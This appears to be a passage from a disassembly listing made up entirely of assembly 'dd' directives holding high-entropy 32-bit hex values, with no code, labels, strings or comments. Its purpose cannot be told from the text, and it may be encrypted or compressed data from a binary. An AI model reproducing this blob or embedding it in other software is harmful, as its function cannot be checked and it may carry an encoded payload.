		dd 0F79F5080h, 0EDED74Ah, 734FAC14h, 0D0407C8Fh, 3DDF3F5Ch
		dd 0EBA04906h, 600848F5h, 64B021D1h, 0DF00973Fh, 4CC03AADh
		dd 858A90h, 0B2DCD457h,	37071BC2h, 0C0AF58C8h, 3DE03F2Fh
		dd 0C4223146h, 3F57B300h, 267A3BE5h, 0AB800EEh,	0F55D32FFh
		dd 7000EDC3h, 31788139h, 3AFA836h, 1ED0147Ah, 70005801h
		dd 0F77FFD28h, 0FE8D70h, 7E4CD896h, 0C0151A2h, 137AB100h
		dd 8808E030h, 9CD63016h, 1BE4F720h, 20E8AC29h, 3024F0E2h
		dd 0E73A7C3Fh, 70B8E098h, 0F838B3F4h, 0BBD0C8Eh, 1A099575h
		dd 0AC5421C0h, 219038h,	0B2F5CD5Eh, 8ABFE0DFh, 73147D40h
		dd 338231AAh, 0E0799DC8h, 0A78B917h, 0F3693A14h, 70980A80h
		dd 0DA085084h, 0C6D11EC8h, 48F86457h, 0C177C1Fh, 806EB84Eh
		dd 0B4767FE9h, 6F1BE8E8h, 3A02071h, 4170E2C8h, 0A48C5A28h
		dd 0ECCBAC1Bh, 6F7E040h, 998060ADh, 2F33E19Ch, 0D4DB0103h
		dd 30ABF908h, 0BA217308h, 1B0633E9h, 5AD505F3h,	0ECA520B0h
		dd 0F92B1200h, 2974364h, 0E4F5546Ah, 61C9022Fh,	8FACDECCh
		dd 80113CAEh, 15D33DFh,	72448CABh, 33E703BCh, 68DBCBA1h
		dd 3E134B98h, 195E8A14h, 7001329Ch, 8CBF01E6h, 7398783h
		dd 0C405D9A2h, 19B8A80Ch, 0DD7C2B3Eh, 38B501E8h, 18CD8E12h
		dd 4A7B40F1h, 0B638AE00h, 8B78C8F2h, 737268h, 5A3B5985h
		dd 0EADC27Dh, 7649FA14h, 2C9F01B0h, 0A5F1F96Eh,	0E87010B2h
		dd 1138B630h, 8CB58E0Bh, 1472119h, 0A58C38AFh, 24C14E51h
		dd 9401D498h, 15856C02h, 0B7C8D265h, 0FD950825h, 140103ACh
		dd 216932A1h, 8A3DF082h, 9081278Eh, 8CBB6F6Bh, 690B5D49h
		dd 0DF1F0049h, 0D7BC79E5h, 7E3099BDh, 4FD9301Ah, 4029DE0Ch
		dd 460F5496h, 3A24FE8Eh, 240C44D4h, 7051F6h, 57834FD3h
		dd 7AB6642Eh, 4A0E18C3h, 8014B556h, 0D8407E60h,	9FF2063Ah
		dd 10CE0A06h, 0A4ED4F7Ch, 46744C48h, 1C3A03CAh,	104F0780h
		dd 531906F0h, 316DA26Ch, 0BFD260C3h, 19799F30h,	0A9884FB6h
		dd 3218AE50h, 3DD53F08h, 40CDC439h, 153F5ABAh, 0AE55382Dh
		dd 0CEE4483h, 0F829BB96h, 7300C84Eh, 435911C5h,	0D62C1DCAh
		dd 40552B4h, 2278C120h,	38DA30DCh, 0D58E0F13h, 984B4038h
		dd 6FB50250h, 9E84F0Ah,	0C6D3E4A1h, 0E9441E5h, 0D800050Ch
		dd 0C1069636h, 7D282498h, 60E94490h, 290E38B1h,	4038AD8Eh
		dd 0BF38AA46h, 0CD171404h, 0C1133Bh, 8107FE95h,	861076A2h
		dd 79C66470h, 0D16491F8h, 21C181Fh, 0E78524D6h,	0A0A0BE4Fh
		dd 0CE25319Ah, 849FB93Dh, 0A9C3ED45h, 0A17E78C1h, 47B13201h
		dd 24A3B4A8h, 1D88E88Bh, 0FF4CE0CFh, 18F62EE6h,	80746263h
		dd 0B624516Eh, 0FA427487h, 46D464DAh, 0C810015Bh, 0E8EC6EDCh
		dd 0AC88200Ch, 44C80007h, 10801D57h, 0F71B17CFh, 23699E63h
		dd 0E016550h, 0FC6EB2C8h, 0B6881F18h, 61C80205h, 80E358B8h
		dd 35C544C0h, 16003A48h, 0B805EB02h, 303BCE64h,	57141B23h
		dd 0C2513FACh, 1DE21C52h, 5BDA30h, 0F85F6B1h, 0EEA192A2h
		dd 1CDF580h, 1DFC293Ch,	3751A64h, 36C012D7h, 0DE280025h
		dd 2B4A3376h, 7E18D662h, 46006422h, 33D20209h, 31830132h
		dd 0DABD1077h, 0CA710033h, 73E07E66h, 5498C630h, 5D25E20h
		dd 0E2632CDh, 16C88147h, 2400D282h, 0E26CDD2Bh,	2FF78079h
		dd 119F5801h, 520D0771h, 7A41298Dh, 0A2946321h,	1BD430CBh
		dd 0EFCCDE02h, 0C0C7AFACh, 8083CD38h, 327EFCEDh, 337068C3h
		dd 0C0E2F9A0h, 86311186h, 0D50F289Bh, 0DBFEB61h, 0F0E1F969h
		dd 6D74F851h, 1E8D63C8h, 40163390h, 0FCE3B506h,	87163593h
		dd 2C53193Ah, 0F74B0803h, 5FA7E1F8h, 0CC88684Bh, 0A09F7EC3h
		dd 1524FC7h, 3C206902h,	4012FEA2h, 9935ACE0h, 0C6133Eh
		dd 0F49FF13Eh, 9983764Ah, 7BF1F088h, 9D7386h, 0F08C39ECh
		dd 48C00F77h, 37E05125h, 0C01D055Ch, 8134C886h,	19D1A210h
		dd 229A4106h, 0AF00C811h, 0F5692FCDh, 3DEF3DDEh, 4CC9F7E1h
		dd 1233D587h, 75317B01h, 0FFDDBE11h, 0C635AED8h, 0B00059ECh
		dd 240DCC57h, 0E02B828h, 72A74B9h, 0E69A4321h, 0DEEC20F1h
		dd 9E6D7009h, 0B6000777h, 0BF8D0258h, 0D4E005EBh, 8E027454h
		dd 9649A2DBh, 0DAAC91A8h, 3808B418h, 0C4E58E11h, 0AD4940EFh
		dd 1963038h, 1C610DFDh
		dd 913E2247h, 0E08003E9h, 0D3013033h, 0BF74448Ch, 5133E801h
		dd 1FAAADE9h, 7EBEC18Ah, 64A70010h, 0B66E378Dh,	3EDE0801h
		dd 0A2011E5Ah, 0BC4803C9h, 125C46h, 0C032FAF9h,	0F0DF21B0h
		dd 10893ADh, 3DD23F31h,	80F46341h, 0F63F59B9h, 0E8CA0A17h
		dd 0ACB4776Dh, 0C9467468h, 0A2917301h, 21D30AEEh, 7A7820E0h
		dd 581F0620h, 0CC48B0AAh, 0EF027848h, 0E85D3A8Eh, 47C09863h
		dd 29147080h, 48E86CB6h, 0D06612A5h, 1DC81CCEh,	539952C0h
		dd 5A360595h, 0C076510h, 0F70EAB8h, 9B0C5DF8h, 60778E15h
		dd 92C8C64h, 0B416BCC8h, 27132062h, 5BC800B7h, 327349A1h
		dd 33F5720Ah, 0E0A3F031h, 18A14778h, 0A0F1B56Ah, 259799Bh
		dd 9A050608h, 5218E7A5h, 0CAF2F0DEh, 9B276032h,	47DAE108h
		dd 62756470h, 0E04FF2Ch, 0A420C003h, 6E095E9Bh,	1AA66A41h
		dd 115017D0h, 703A80C8h, 98E41AB5h, 0B76201D0h,	193B2ABCh
		dd 0CA28204Bh, 92F3CB40h, 799099D0h, 0E3D41974h, 0C2B204CBh
		dd 99B1A282h, 5A00423Ch, 11C81330h, 88E46EDBh, 0AAD801Ah
		dd 5D59A4C8h, 0B817154Ah, 0F909746Eh, 98419B49h, 88810499h
		dd 3438DBFEh, 7C8C73E8h, 6C2907CCh, 0C986051Eh,	904DA012h
		dd 81B06E0h, 9FA63F25h,	3E32878Eh, 50A91506h, 9251EE0Ch
		dd 60ADB8A2h, 7B728982h, 25266DEBh, 0BC0905B4h,	42CC47D1h
		dd 0D3187BEFh, 7EF1026Eh, 49CDFC55h, 24631040h,	0EE144D0Fh
		dd 588E5232h, 48C01BC8h, 4AB73024h, 23202F40h, 338E3A21h
		dd 0D0A1C91Bh, 913E9F8Ch, 0F8F5648h, 46EB7E1h, 0C32432E9h
		dd 88C806B9h, 7A7DDD8h,	0C472B64Eh, 0B8905B6Dh,	3012B742h
		dd 0C09B5E2h, 11CC9D37h, 3C2680C7h, 9DC15E3h, 4E16880Fh
		dd 0E9F7ACA0h, 327EFF0Dh, 440158h, 0E7713870h, 2A39A003h
		dd 1DD8A83Fh, 2C9A8A3Dh, 920500D0h, 0EDC78543h,	3D86F3Dh
		dd 0DAD1F3DFh, 7C201FC3h, 0AF648A7Bh, 81A47820h, 0D1D3248Ch
		dd 82035CEh, 0D4C0077Ch, 46013433h, 6E2273h, 7E33DCC3h
		dd 723E27AAh, 16EA2Dh, 8A413748h, 58C96A56h, 744674A8h
		dd 3B76C600h, 3C6B647Ch, 4FE8D09h, 0A724E0CAh, 1F20022Fh
		dd 0EC64E75Eh, 1D444447h, 415DBC60h, 5F132403h,	1A5BD3BFh
		dd 8379F48h, 8370F853h,	2FC2FCA3h, 0F682CD67h, 20CFC7FDh
		dd 26420440h, 4C77486Bh, 1AD23D82h, 37327CDAh, 30E6A879h
		dd 0D1138B0h, 0EE84C58Eh, 0A955007Bh, 6FB60538h, 0DEC14C79h
		dd 74F2296Eh, 0DC196400h, 0B371774Fh, 22EEFCh, 70A0547Fh
		dd 6ED9343Ah, 68E8742Ch, 16D4674h, 97774812h, 3BF0E7DAh
		dd 0F0BE3472h, 12CA2D0h, 693CB77Eh, 0BFFC763Fh,	8F2848A0h
		dd 4437F72Fh, 166F9C00h, 10259EDh, 0C876458Bh, 0F0575094h
		dd 0C5BD69Ah, 0F3610844h, 460D5D05h, 3CFB9DA8h,	0FEC28904h
		dd 0CEC0A1E6h, 0B97E604Dh, 191AD160h, 0A830D5C5h, 0F882E030h
		dd 0D1B4B92Ah, 3301920h, 2395024Bh, 0AC08AFD1h,	0DC10AC60h
		dd 3E2DF67Dh, 0EE2C8E80h, 9C0172DAh, 714E3178h,	6B151883h
		dd 0A7A53D6Ah, 9B6AA0A4h, 4D0274DDh, 0DE0E640Dh, 46C00706h
		dd 7548AA65h, 0DD892314h, 90404FE2h, 6508E1B7h,	0D1286061h
		dd 0FF8D1C2Bh, 1B4CCF00h, 2F4AEDEh, 2B0EA20h, 10814321h
		dd 18E7EC18h, 0C9601C44h, 4E1D4D7Bh, 0BC4076DEh, 0B64AF4B3h
		dd 2384A0A0h, 51ED60FCh, 0E8548776h, 0ADD8A506h, 60482205h
		dd 0D27CB964h, 0B707C1F5h, 0F0AFCBFh, 0AAC5DFE7h, 3F2E9C60h
		dd 593D2EE1h, 56B670BCh, 0E003F75h, 4221DB41h, 0F9CBD8Ah
		dd 6A790AFBh, 38A4026Ah, 6D86635h, 0D12663B4h, 76EC7F07h
		dd 0C1C04F9Ah, 0B26E32h, 61523DFDh, 3BDD875Dh, 81AAD227h
		dd 0C24EB774h, 919B7981h, 0E07E62F8h, 31003267h, 2C792DABh
		dd 6BF4DDC9h, 746728AAh, 187C1C62h, 4903A023h, 60953079h
		dd 82881098h, 6EE00D1Fh, 146860D9h, 58C18ECh, 0C2FE1452h
		dd 0BC00E0BEh, 0E03551CEh, 48EA4699h, 0D4B53952h, 0BF422684h
		dd 0FC4CC89Fh, 0E7572C2Ch, 0F7CF41Dh, 8B1990ECh, 9D90E20Eh
		dd 801C91E4h, 44A7F287h, 0A9321407h, 2848DC1Fh,	0A8021E27h
		dd 40D1EE61h, 508E720Fh, 6077DC00h, 5E34E3E1h, 0D6DAA500h
		dd 6AA11520h, 48096081h, 8660459Ah, 0D9516D02h,	48A7F424h
		dd 0CFFE23A0h, 2B807CD9h, 0B63D18CDh, 77AA3A02h, 44120B5Fh
		dd 2631E668h, 8A047E26h, 8CCE73Ah, 0DB0116C6h, 0DE099836h
		dd 104D83Ch, 4F0DC99Ah,	1568E7D4h, 0F96E4401h, 498071FDh
		dd 952BCD2Ah, 0B4994EE5h, 0D816980Ah, 0BC9480BBh, 0D3283CACh
		dd 29743843h, 199D3D01h, 30217ECFh, 0F44035B4h,	0FEA00A0Bh
		dd 6C49E8Eh, 0B1B2496Eh, 0EC398701h, 1ADAA23Dh,	7078C004h
		dd 0B2015C95h, 0C0B72FE6h, 11F12480h, 0BFD7CC50h, 9820958Dh
		dd 44CE41DEh, 29928112h, 31152CA0h, 6121BBAEh, 43398025h
		dd 0F45A409Fh, 7577B23h, 557BD0A4h, 6A02049h, 0A09AA2AAh
		dd 6B719577h, 0F3824CB4h, 85C5BE69h, 941E56F8h,	8D149A10h
		dd 98406CEEh, 4EF111C9h, 7A410270h, 0D8FB6761h,	8E971F48h
		dd 0EE51C4FFh, 63ACF589h, 301EA26Ch, 0B501AB70h, 0BFB2E0D3h
		dd 0F1897FA1h, 5001D4AEh, 6CB8C7DAh, 8C78E878h,	26E3C300h
		dd 66891953h, 5C6CE6BEh, 0F5815076h, 0FF4FBAD7h, 0E8C463AAh
		dd 8F504107h, 39806E10h, 1F13A9Bh, 0F550779h, 50EC0C7Eh
		dd 9A2934D8h, 6C2556E0h, 119C973Fh, 0AABB80F0h,	1098B37h
		dd 0AE9FACF4h, 51A6F505h, 7CDBF3E0h, 8CCAB8C8h,	3DE7D002h
		dd 0F049927Fh, 0D49B3D34h, 23382E4Fh, 251278h, 6EDD373h
		dd 5D487F2Dh, 1A370600h, 0BE28411Ch, 0A500F41Ch, 6B5658A4h
		dd 0C172B19h, 86AE3C28h, 71006E81h, 12BE3B63h, 3A21C6D4h
		dd 0FD24D7BCh, 8595085Ch, 39908107h, 7467D86Ch,	7D7BF3h
		dd 68F92B64h, 6F84EB5Eh, 4ECDA9CCh, 4C9A7508h, 2F1C1C1Eh
		dd 0FD9640F0h, 0BFBA069Fh, 0D051BCA2h, 91181B79h, 0C7065898h
		dd 0D5741F08h, 0D63C1408h, 0C6318C2Ah, 0C1240910h, 4E398A22h
		dd 94808878h, 0C9EF062Ch, 47991676h, 23D42FDEh,	6FAC00CCh
		dd 66CE9C46h, 0FBD3F903h, 8C1ED1F4h, 0C08148C4h, 7C3253F5h
		dd 51807058h, 0C72941A2h, 5A13A8A0h, 5C3795h, 3AF2F351h
		dd 1A3AD7F4h, 432492A0h, 6F23C4B4h, 0D60171FFh,	0FA9ED1F3h
		dd 0D4A44CA4h, 0BC24AC84h, 7B43EFh, 7861BB1Fh, 617112F0h
		dd 4E3280D0h, 0D39050C0h, 400156F4h, 0BAA1099Fh, 2960C349h
		dd 0DACA1419h, 79884859h, 2802708h, 0F41B5C94h,	247F10A0h
		dd 3CE9F1FBh, 8C1CECE8h, 5746BE00h, 0B7663B12h,	215D30D7h
		dd 45F41D21h, 0B00C5FCh, 0C695CBA4h, 7394B31Ch,	157335h
		dd 2B883C6Bh, 8BBF5E08h, 32049097h, 0F02240A5h,	0B77DB527h
		dd 57130058h, 0C603842h, 0A1BE5E2Fh, 0E881CBA4h, 3991E6E4h
		dd 8808E9Fh, 67D4C32h, 6148B93Ch, 34349888h, 7EEF00A5h
		dd 6412B381h, 0BD079738h, 3767366Ah, 6ED2E9E0h,	0C0864A51h
		dd 2E82332Ch, 5D88BF09h, 0D9A079F7h, 0D61878h, 27163D9Bh
		dd 3ECC19EEh, 3B540702h, 5E18FE8Ah, 7AA40814h, 5A08D8A6h
		dd 6A8F021Eh, 9863FF7Dh, 0A8FED480h, 3BFA7B38h,	0A2F4D3EBh
		dd 0B625301Bh, 5DF8591Dh, 0B2341970h, 0B4260004h, 8D315C85h
		dd 0EB05C706h, 8AD8FA29h, 34A62485h, 18AEDCE0h,	51C65D0Fh
		dd 76526082h, 522E874h,	7B05A43Ah, 0E040869Ah, 0DCC0B4h
		dd 0B66FA15Fh, 0A58A3D94h
		dd 1D083E5Ch, 92BE5E07h, 2487C46Eh, 87778088h, 0D46A06F3h
		dd 0EDC87D1Fh, 24A6D105h, 8B3CC441h, 243279CCh,	0E06E5Bh
		dd 9FED605Ah, 0ED2E0F0Eh, 0A608042Bh, 0F6041F76h, 14AC9B96h
		dd 0A8C5F909h, 0EFD9B051h, 66E07318h, 0F4FA5107h, 71874A7Fh
		dd 1C8E03Bh, 0B41795EDh, 0BC80D191h, 2B1F7506h,	0FA95000h
		dd 3B23B05Eh, 5C3D4801h, 77E888D4h, 523A038Ch, 0D9098C4Ah
		dd 0E09EC9F1h, 68EDBA6Eh, 8C74BCA0h, 64006C7Fh,	54F94CD8h
		dd 40E3487h, 0DE89BD81h, 0E7EE00C3h, 0C937806h,	87ACA624h
		dd 0A91CCD41h, 96413081h, 981C5E34h, 96B57C0h, 0DB5D0EC6h
		dd 48EEB4C0h, 1313733Dh, 5CD22E0Bh, 0C8123059h,	0DC6EB617h
		dd 0AA00BCCBh, 550C809h, 5F0E6D19h, 823AEAD8h, 5E965170h
		dd 8B2C0098h, 188E8FF5h, 9A584300h, 0E8A4766Ah,	36F2042Bh
		dd 0ED6C6B3Eh, 0B0204E4Ch, 0FA61C622h, 803D774Ch, 2D40C3FEh
		dd 0BD301424h, 0D00080A9h, 0FC5DB995h, 103AC66Ah, 218454AEh
		dd 0FDF3C407h, 0E677A468h, 5E9BB770h, 690F0BDBh, 548E388Fh
		dd 88DAEAh, 0C00B7D8Eh,	0E12517Bh, 6041924Ah, 0CCF6EE13h
		dd 12EC0838h, 99BA288Ch, 3FFE0182h, 0D38882A4h,	0C0C5DA15h
		dd 187C1CE2h, 2703DDDCh, 1240C67h, 5C697623h, 0C494003Ch
		dd 7BEE610h, 0CEE22ED7h, 1505B5C1h, 0D6C90BDFh,	0B41A8A37h
		dd 44BE0466h, 26E901D4h, 668DEAC3h, 2211ECE3h, 1FA0E08h
		dd 51502A3h, 34D2D7AEh,	0B05811F8h, 0AA6B380Ch,	0BF50FCA2h
		dd 0B54A4EBCh, 0A09A7453h, 10E81FC0h, 3B3D2E4Fh, 0B9449D2h
		dd 0BCC7ACh, 15C5AB0Ch,	0C04F1C39h, 77268304h, 74A0C814h
		dd 4E74FF5Ch, 500063FEh, 0EB8C64AAh, 0E014C5h, 61D57626h
		dd 6948A127h, 2870F91Dh, 8808F800h, 6E9EB62h, 12068ABh
		dd 0D96628D6h, 1831A021h, 48DFED08h, 0F4E88004h, 9700A094h
		dd 307079C0h, 0F9022224h, 95E66BF0h, 9FEA98A0h,	0E807A4A1h
		dd 18929D6Ah, 0BE788093h, 0E0FC4Fh, 0DE90F5AFh,	0F68E5232h
		dd 0D0A6CA29h, 957165E6h, 993940B7h, 0C8609E60h, 7ED702h
		dd 9F572700h, 586FD62Eh, 93707Ah, 0EE148F54h, 30D3C2BAh
		dd 0C683ECDBh, 0ABE072C2h, 0DAF351F0h, 346B7CE8h, 0EA08F09h
		dd 2478A117h, 9C240AF5h, 8D443995h, 2C69C909h, 0F68F5C0Fh
		dd 0E7BA7B82h, 34DEA060h, 4957E14Ch, 0BB0109A4h, 78E451D4h
		dd 0F867C1Ah, 4EB7487Dh, 0FF7B98D5h, 0EAFFCCECh, 1FD83E69h
		dd 0A5780E26h, 1344B867h, 0F49D2560h, 8DED5100h, 0CDF38F89h
		dd 0D15A3D2Fh, 201E4AAEh, 5E14BC8Ch, 827C1821h,	0D3F9D053h
		dd 2964BE83h, 33C57900h, 3EE0188Ch, 0F939008Bh,	0FE28F356h
		dd 6339C71Eh, 3241298h,	3BD450D0h, 3A081713h, 0BF5C43D0h
		dd 212E7A89h, 4D082458h, 51CF026Ch, 0C681793Fh,	3315346Dh
		dd 31C9E214h, 0EE7C20A4h, 80BDA220h, 0C1821ECBh, 6F51F68h
		dd 368824CDh, 9201091Eh, 50E0ED12h, 249C0565h, 80FADD28h
		dd 8219CC21h, 0FE8A4139h, 0E24B6490h, 9BC0889Ah, 611377FBh
		dd 656C1701h, 0FA6EB2F8h, 0D4432039h, 0C7BEFA1h, 3BCE00DCh
		dd 2D2983C0h, 0D359BFD7h, 0E7B3097Ch, 70B8DBF7h, 0AA000144h
		dd 8E93E26Eh, 105847h, 9B63E6D3h, 2D32A707h, 1512FCBCh
		dd 3DD76460h, 0C1CA4AA2h, 85640C3Ch, 0D356EE20h, 0A8A0B8B7h
		dd 0D246606h, 0E50570ACh, 30C26ED1h, 0E4BCE5E1h, 0ED00676Dh
		dd 0EACF5D7h, 0FC87C785h, 0DCA320Eh, 60C5E968h,	8F601CE4h
		dd 0B716F965h, 90886E6Ch, 0EDBA01DBh, 9A7B2653h, 403038A1h
		dd 3D8CA9D0h, 3D923F5Dh, 0C030E261h, 0A3F65B5h,	51A2E5Ah
		dd 0C0B31994h, 64073A55h, 0E062370h, 0DD04A091h, 0D23C1CA9h
		dd 490B5D8Dh, 1C61BE72h, 2901D364h, 15F08A5Ah, 84ECCF91h
		dd 0C57704BCh, 0C00413EDh, 1C0871DBh, 0E8E0DB26h, 0C8E479E5h
		dd 21A34EBFh, 3A8592A0h, 9A6FA002h, 4B45472h, 0D09C3A7Bh
		dd 58E3F004h, 0B30BB490h, 0C0B59A7Ch, 5B899DA4h, 0FF70C0B2h
		dd 869F8132h, 54D87624h, 40C4E3h, 800CBB26h, 242E8A3Bh
		dd 91E49D9Fh, 0F5B78075h, 7408577h, 4393E3AAh, 0E51F1D9h
		dd 0CA1830A4h, 5D24D090h, 0C180CC23h, 68647A5h,	95030EF0h
		dd 0A1403DE3h, 0F92C426Bh, 38DA2D7Eh, 0F420DCA8h, 70DE948h
		dd 8271260Dh, 793DC992h, 22DD000Ch, 2AD3595Ah, 88EBB500h
		dd 0AE60EC94h, 0DB0C0029h, 333CA1E4h, 0AD20F96Eh, 64D1E8A3h
		dd 0A9624008h, 3D6300C0h, 11D0A240h, 0AF1D0084h, 0F1DAB266h
		dd 0D3008F29h, 8B1A0B4h, 548ABF36h, 3B059C79h, 0F051716Ah
		dd 0CEA2D023h, 762D530h, 496BA5E9h, 5E4051ACh, 18547C5h
		dd 0E655072Bh, 6A0AE061h, 9DD1A809h, 7C1C8890h,	98A8A06Eh
		dd 14FE7BA6h, 28BC72F4h, 829A1538h, 0A48010C1h,	0ED6A06DDh
		dd 11544B59h, 0AF047D9Eh, 0B83415D7h, 606E4EBCh, 2ED6CC04h
		dd 1690C265h, 0AC10F87Eh, 6EB07C02h, 111DE874h,	2C8806Eh
		dd 96A2D07h, 2B01E124h,	68268D9h, 0DEA2ED16h, 0E3E012A0h
		dd 520657Ch, 33DE3820h,	0E301235Eh, 0B9017111h,	99A033E6h
		dd 0F3803F68h, 48CE316Eh, 0CD4A308Fh, 0FE51F090h, 1354009Fh
		dd 2F5E62Ah, 0ED2E20ABh, 485CDB62h, 5A248952h, 1B34648h
		dd 3DD43F33h, 80789D91h, 3F5BB7A0h, 0BDB13704h,	9BC14746h
		dd 0F198DEF6h, 8CD578CDh, 0DC0406F2h, 823A496Eh, 0AFE9F01h
		dd 0D628929Dh, 0D9173C02h, 0BFC826Ah, 806C545Eh, 92139B6Bh
		dd 0EF00C310h, 29976491h, 12EF385h, 7AEA2D1Eh, 1E8959Ah
		dd 202AA1BFh, 9F824044h, 94AE6226h, 0F4904F97h,	13669611h
		dd 0B360B778h, 301FA2A8h, 63242868h, 3105F44Ch,	58BC6DE6h
		dd 7B43EFECh, 0D2CDE600h, 33ED2F37h, 0C441C425h, 3DE89050h
		dd 2DFE0449h, 64A0AD40h, 0EF8CC86Dh, 59000779h,	3113DB1h
		dd 4A8193h, 0E0B34CD6h,	0F507650Fh, 0CD3F452Dh,	89260F8h
		dd 0A32590A1h, 2D58CC6Eh, 0DC24FA23h, 98B4A44Fh, 0BB7DC604h
		dd 8480B8CEh, 0E8168DF1h, 0D4F4A0C9h, 9E8E3014h, 0A347CC1h
		dd 0BCE95102h, 56A68A6Fh, 4FC00E0h, 717B3EA0h, 12088D5Ch
		dd 0E8A5D576h, 2DF485F0h, 0B8826A4Ah, 0F8904EADh, 733C6C34h
		dd 459A0209h, 0C8116AA1h, 3369460h, 4A7F7658h, 0AD84BEADh
		dd 13DA22F0h, 84D2FCEDh, 1CF0A8ECh, 0E9D29208h,	0E92E2C09h
		dd 403EAC00h, 0B44E24FCh, 30BC97Bh, 2D03171h, 0A0BA5Ch
		dd 3B360733h, 0C03AD225h, 14F39C8h, 59532A74h, 64FE7A3Dh
		dd 2F62A79Ch, 10CE210h,	2D986607h, 0F3F009Ch, 0FA89928Fh
		dd 0CA880F50h, 0AE4982DCh, 34DE449h, 0E0ACDC41h, 0D986BF86h
		dd 0E0C2144Ah, 8E25E057h, 67970630h, 218887BFh,	4D32010Ah
		dd 5D0C941Dh, 259F7963h, 0A4633606h, 7DB2D818h,	11F65A61h
		dd 7B9288BFh, 0CF296E3Dh, 0FF2FE8C0h, 16355E8Ah, 0D7771340h
		dd 3D793018h, 931CF046h, 3B4078F6h, 7EDF2FA6h, 13D926FEh
		dd 24421110h, 982C5C2Ah, 308C4A15h, 0A27C4961h,	37821329h
		dd 162404B0h, 0EC309436h, 8C19EC20h, 83F8DF6h, 4024A532h
		dd 2769AA8h, 0EE137852h, 0E09A0D6h, 0B8B48ACh, 1041287Dh
		dd 0C5DE40Fh, 0CED0C08Bh, 0D1910252h, 55B5F383h, 1A796451h
		dd 3BF48D18h, 0E1227225h, 237F5860h, 13885230h,	8B002308h
		dd 0DE51D2DAh, 1067D8B2h, 4DF7797Dh, 0C5BC30h, 77F2A011h
		dd 0D23DD746h, 25CC2249h, 0B9946CD9h, 18C9599Ch, 0BE961862h
		dd 69597181h, 5C749800h
		dd 2611B2CAh, 0E63604C8h, 0F480F861h, 0E752B8FCh, 3073B264h
		dd 1505CFDDh, 0D6068E16h, 24F23495h, 0AE301EF2h, 81E20907h
		dd 9C04F092h, 76DE407Eh, 310A0C8Bh, 0BFE9F922h,	2104595h
		dd 76AE5FFEh, 17A78071h, 89189168h, 0A7EC5BF2h,	2091DC15h
		dd 0B1559080h, 4DF2873Bh, 0A2020F09h, 80FC4361h, 18703FA0h
		dd 83907C8h, 666E3A9Fh,	5C1099A8h, 6CDD32F4h, 1EDC301Ch
		dd 144E0B4Bh, 7020F059h, 540BE645h, 2C11288h, 37CCB9B1h
		dd 307A02C3h, 0A2BFABC5h, 3400ECC6h, 8175B5Eh, 429A59DFh
		dd 0D41A1F3Fh, 0A2419701h, 5C20B0DDh, 9A39EC01h, 0A66F0548h
		dd 0FCD93A82h, 0E08A4A78h, 9806710h, 0AB82F69Fh, 0B0144680h
		dd 481BE298h, 0CAF88408h, 0F3A51C8Ch, 0D9320BE2h, 23735CA0h
		dd 49C2B1FEh, 6406FB24h, 0D73200C4h, 0F4D42D2Fh, 8002AE0h
		dd 64961A5Eh, 2595113Ah, 4B7EB5Ah, 1F0CF03h, 0F8FEFBEFh
		dd 0A8C56A02h, 0BCDBE94h, 159E6B6Ch, 9A548052h,	6A270794h
		dd 45300BF9h, 60CEE45Ch, 23B4F6h, 959FBC9Ch, 0CDF9C855h
		dd 0F890A748h, 19008C1Ch, 0D5D0D608h, 0B7C2F68Dh, 81A7A084h
		dd 0C0AE9808h, 3BF0D978h, 3A227C90h, 0E2C0CB85h, 0EE58F4DBh
		dd 0DCD70344h, 13434551h, 31F859D3h, 0C8C0A556h, 7B19E92Ch
		dd 0EBFA01AAh, 1F5942D4h, 0A25063CFh, 0A8D0301Ch, 0D6908F17h
		dd 2C3298DDh, 163012E2h, 4854382Fh, 17E6F00h, 0A23DC383h
		dd 79F4464Dh, 14126A4Fh, 0CDA204A3h, 1C928E30h,	42ECD5B0h
		dd 0EF4EB75Ah, 1C43244Ah, 704228Ah, 6894A8ACh, 25064C2Ch
		dd 0A882A446h, 0A8095342h, 97A78C51h, 801F9164h, 0CFA88997h
		dd 70019547h, 2B656A08h, 99A538C0h, 1D68BE12h, 0FC66ED6Bh
		dd 5CC2DA4Ah, 0D1B87101h, 135C18C7h, 0F242431Eh, 29E700A0h
		dd 5FF8407Eh, 0F7507EBh, 19F3C51h, 6CD4DCBDh, 10EC5824h
		dd 8858A089h, 4B3D5F03h, 2000E780h, 2B4AD47Ch, 1538C17h
		dd 6870DE65h, 6A6A6C9Bh, 48984049h, 0B804D85Ch,	11D52793h
		dd 3A7BA802h, 76E4C0AAh, 2700CC46h, 0FA757B21h,	4F007699h
		dd 3ED01A83h, 45F18AAh,	7C2177B1h, 0BE0B856h, 0C052910Ch
		dd 4823FFF4h, 40433405h, 1830CDB2h, 2A7E1F31h, 0E3A480B9h
		dd 0ABF8BA40h, 0A56E7009h, 58BC7BE7h, 723E6AFCh, 0C5D29F47h
		dd 0EA611044h, 0E8ED3490h, 153B004Ah, 0E0B96430h, 98972FA4h
		dd 0A81F5D48h, 5BEBB8h,	637DCF2Eh, 0B817034Fh, 748CD64Eh
		dd 51322F01h, 1854D0C2h, 2C40DE58h, 22B0199Fh, 11B09994h
		dd 0FC4E17BDh, 0CE23C83Fh, 555FD100h, 183277BFh, 59F16276h
		dd 0A9F01DF3h, 12FAA158h, 0D8A020DFh, 14C61023h, 1660E2C0h
		dd 508BD70h, 7712680h, 40AD35F6h, 7A25B4C7h, 814F73Fh
		dd 63F3DF7Fh, 291AE778h, 320150Fh, 1DD8DF18h, 8A049h, 0CD095D78h
		dd 15135B4Ch, 60CB3707h, 65C0CAC8h, 90EF29Fh, 0C3B3F058h
		dd 0C2440C59h, 0C4F8D4A8h, 0A0E7598Ch, 0F850C625h, 2B7B7609h
		dd 440859EFh, 6CBC348Eh, 8CCCACh, 0E4DBDAEAh, 0FC6B130h
		dd 0F888BC4Bh, 9A683D2Ah, 0B5A6A200h, 66F4FFE9h, 7524A158h
		dd 9F4441FFh, 0FA4AF47Bh, 7B4C8B9Fh, 60667074h,	83158107h
		dd 29B1B06Eh, 60AD10F5h, 1A88C817h, 0A844617Ch,	1C352B13h
		dd 0F1BC68ACh, 0DA037B43h, 0DAE9E9Fh, 5A1691B0h, 0CDABEE12h
		dd 0E437E30Bh, 50B5976Ch, 348E5700h, 44226C2h, 82464B5h
		dd 0E6A890ECh, 0F013B42Bh, 0BC48109Fh, 0C4467E9Ch, 9A6FF104h
		dd 48D8E8B2h, 0CA6700A8h, 989376E3h, 38B8ACC2h,	0C5DFEE8Dh
		dd 7CF8F38Ch, 0A02B0335h, 64BC78A9h, 4C10F1Ch, 7A3E0C01h
